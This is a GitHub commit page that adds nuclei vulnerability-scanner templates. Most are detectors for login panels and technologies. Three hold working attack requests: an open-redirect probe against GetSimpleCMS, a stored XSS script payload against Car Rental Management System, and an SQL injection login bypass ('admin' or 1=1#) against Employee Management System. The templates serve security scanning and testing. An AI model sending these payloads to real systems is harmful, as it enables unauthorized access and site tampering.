Skip to content

Commit 810022b

Browse files
hktalenthktalent
authored
Merge pull request #63 from hktalent/dev
Dev
2 parents a99e9ba + 1aca113 commit 810022b

File tree

13 files changed

+912
-0
lines changed

13 files changed

+912
-0
lines changed

‎config/nuclei-templates/cves/2019/CVE-2019-9915.yaml

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
id: CVE-2019-9915
2+
3+
info:
4+
name: GetSimpleCMS 3.3.13 - Open Redirection
5+
author: 0x_Akoko
6+
severity: medium
7+
description: GetSimpleCMS 3.3.13 has an Open Redirect via the admin/index.php redirect parameter.
8+
reference:
9+
- https://www.invicti.com/web-applications-advisories/ns-18-056-open-redirection-vulnerability-in-getsimplecms
10+
- https://github.com/GetSimpleCMS/GetSimpleCMS/issues/1300
11+
- https://www.cvedetails.com/cve/CVE-2019-9915
12+
- https://www.netsparker.com/web-applications-advisories/ns-18-056-open-redirection-vulnerability-in-getsimplecms/
13+
classification:
14+
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
15+
cvss-score: 6.1
16+
cve-id: CVE-2019-9915
17+
cwe-id: CWE-601
18+
metadata:
19+
verified: "true"
20+
tags: cve,cve2019,redirect,getsimple,cms
21+
22+
requests:
23+
- raw:
24+
- |
25+
POST /admin/index.php?redirect=https://interact.sh/ HTTP/1.1
26+
Host: {{Hostname}}
27+
Content-Type: application/x-www-form-urlencoded
28+
29+
userid={{username}}&pwd={{password}}&submitted=Login
30+
31+
matchers:
32+
- type: regex
33+
part: header
34+
regex:
35+
- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/' # https://regex101.com/r/ZDYhFh/1

‎config/nuclei-templates/exposed-panels/cisco/cisco-vmanage-login.yaml

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
id: cisco-vmanage-login
2+
3+
info:
4+
name: Cisco vManage Login
5+
author: DhiyaneshDk
6+
severity: info
7+
metadata:
8+
verified: true
9+
shodan-query: title:"Cisco vManage"
10+
tags: panel,cisco
11+
12+
requests:
13+
- method: GET
14+
path:
15+
- "{{BaseURL}}"
16+
17+
matchers-condition: and
18+
matchers:
19+
20+
- type: word
21+
part: body
22+
words:
23+
- "<title>Cisco vManage</title>"
24+
25+
- type: status
26+
status:
27+
- 200

‎config/nuclei-templates/exposed-panels/jamf-login.yaml

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
id: jamf-login
2+
3+
info:
4+
name: Jamf Pro Login
5+
author: DhiyaneshDk
6+
severity: info
7+
metadata:
8+
verified: true
9+
shodan-query: title:"Jamf Pro"
10+
tags: panel,jamf
11+
12+
requests:
13+
- method: GET
14+
path:
15+
- '{{BaseURL}}'
16+
17+
redirects: true
18+
max-redirects: 2
19+
matchers-condition: and
20+
matchers:
21+
- type: regex
22+
regex:
23+
- '<title>Jamf Pro Login(.*)</title>'
24+
25+
- type: status
26+
status:
27+
- 401

‎config/nuclei-templates/exposed-panels/rundeck-login.yaml

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
id: rundeck-login
2+
3+
info:
4+
name: RunDeck Login
5+
author: DhiyaneshDk
6+
severity: info
7+
metadata:
8+
verified: true
9+
shodan-query: title:"Rundeck"
10+
tags: panel,rundeck
11+
12+
requests:
13+
- method: GET
14+
path:
15+
- '{{BaseURL}}/user/login'
16+
17+
redirects: true
18+
max-redirects: 2
19+
matchers-condition: or
20+
matchers:
21+
- type: word
22+
part: body
23+
words:
24+
- 'Rundeck - Login</title>'
25+
26+
- type: word
27+
part: body
28+
words:
29+
- 'RUNDECK ENTERPRISE - Login</title>'

‎config/nuclei-templates/exposed-panels/vmware-hcx-login.yaml

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
id: vmware-hcx-login
2+
3+
info:
4+
name: VMware HCX Login
5+
author: DhiyaneshDk
6+
severity: info
7+
metadata:
8+
verified: true
9+
shodan-query: title:"VMware HCX"
10+
tags: panel,vmware
11+
12+
requests:
13+
- method: GET
14+
path:
15+
- '{{BaseURL}}/hybridity/ui/hcx-client/index.html'
16+
17+
matchers-condition: and
18+
matchers:
19+
- type: word
20+
part: body
21+
words:
22+
- '<title>VMware HCX</title>'
23+
24+
- type: status
25+
status:
26+
- 200

‎config/nuclei-templates/exposed-panels/vmware-nsx-login.yaml

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
id: vmware-nsx-login
2+
3+
info:
4+
name: VMware NSX Login
5+
author: DhiyaneshDk
6+
severity: info
7+
metadata:
8+
verified: true
9+
shodan-query: html:"vmw_nsx_logo-black-triangle-500w.png"
10+
tags: panel,vmware
11+
12+
requests:
13+
- method: GET
14+
path:
15+
- '{{BaseURL}}/login.jsp'
16+
17+
matchers-condition: and
18+
matchers:
19+
- type: word
20+
part: body
21+
words:
22+
- '<title>VMware Appliance Management</title>'
23+
24+
- type: status
25+
status:
26+
- 200

‎config/nuclei-templates/technologies/angular-detect.yaml

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
id: angular-detect
2+
3+
info:
4+
name: Angular detect
5+
author: TechbrunchFR
6+
severity: info
7+
description: Angular is a development platform for building mobile and desktop web applications using Typescript/JavaScript and other languages.
8+
reference:
9+
- https://github.com/angular/angular
10+
metadata:
11+
verified: true
12+
shodan-query: html:"ng-version="
13+
tags: technology,angular
14+
15+
requests:
16+
- method: GET
17+
path:
18+
- "{{BaseURL}}"
19+
20+
matchers-condition: and
21+
22+
matchers:
23+
- part: body
24+
type: word
25+
words:
26+
- "ng-version="
27+
28+
extractors:
29+
- type: regex
30+
group: 1
31+
regex:
32+
- 'ng-version="([0-9.]+)"'

‎config/nuclei-templates/vulnerabilities/other/carrental-xss.yaml

Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
id: carrental-xss
2+
3+
info:
4+
name: Car Rental Management System v1.0 - Stored Cross Site Scripting
5+
author: arafatansari
6+
severity: medium
7+
description: |
8+
Car Rental Management System v1.0 is vulnerable to Cross Site Scripting via admin/ajax.php?action=save_category in Name and Description Parameter.
9+
reference:
10+
- https://www.exploit-db.com/exploits/49546
11+
- https://www.sourcecodester.com/
12+
metadata:
13+
verified: true
14+
shodan-query: http.html:"Car Rental Management System"
15+
tags: xss,cms,authenticated
16+
17+
requests:
18+
- raw:
19+
- |
20+
POST /admin/ajax.php?action=login HTTP/1.1
21+
Host: {{Hostname}}
22+
Content-Type: application/x-www-form-urlencoded
23+
24+
username={{username}}&password={{password}}
25+
26+
- |
27+
POST /admin/ajax.php?action=save_category HTTP/1.1
28+
Host: {{Hostname}}
29+
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCMJ5bh3B6m9767Em
30+
31+
------WebKitFormBoundaryCMJ5bh3B6m9767Em
32+
Content-Disposition: form-data; name="id"
33+
34+
35+
------WebKitFormBoundaryCMJ5bh3B6m9767Em
36+
Content-Disposition: form-data; name="name"
37+
38+
</script><script>alert(document.domain)</script>
39+
------WebKitFormBoundaryCMJ5bh3B6m9767Em
40+
Content-Disposition: form-data; name="description"
41+
42+
<script>alert(document.domain)</script>
43+
------WebKitFormBoundaryCMJ5bh3B6m9767Em--
44+
45+
- |
46+
GET /admin/index.php?page=categories HTTP/1.1
47+
Host: {{Hostname}}
48+
49+
redirects: true
50+
max-redirects: 2
51+
cookie-reuse: true
52+
matchers-condition: and
53+
matchers:
54+
- type: word
55+
part: body
56+
words:
57+
- '<p>Name: <b></script><script>alert(document.domain)</script></b>'
58+
59+
- type: word
60+
part: header
61+
words:
62+
- text/html
63+
64+
- type: status
65+
status:
66+
- 200

‎config/nuclei-templates/vulnerabilities/other/ems-sqli.yaml

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
id: ems-sqli
2+
3+
info:
4+
name: Employee Management System 1.0 - SQLi Authentication Bypass
5+
author: arafatansari
6+
severity: high
7+
description: |
8+
Employee Management System Login page can be bypassed with a simple SQLi to the username parameter.
9+
reference:
10+
- https://www.exploit-db.com/exploits/48882
11+
- https://www.sourcecodester.com/sites/default/files/download/razormist/employee-management-system.zip
12+
metadata:
13+
verified: true
14+
tags: ems,sqli,cms,auth-bypass
15+
16+
requests:
17+
- raw:
18+
- |
19+
POST /process/aprocess.php HTTP/1.1
20+
Host: {{Hostname}}
21+
Content-Type: application/x-www-form-urlencoded
22+
23+
mailuid=admin' or 1=1#&pwd=nuclei&login-submit=Login
24+
25+
redirects: true
26+
max-redirects: 2
27+
matchers-condition: and
28+
matchers:
29+
- type: word
30+
part: body
31+
words:
32+
- 'Admin Panel'
33+
- 'Log Out'
34+
- 'Employee Management System'
35+
condition: and
36+
37+
- type: status
38+
status:
39+
- 200

0 commit comments

Comments
 (0)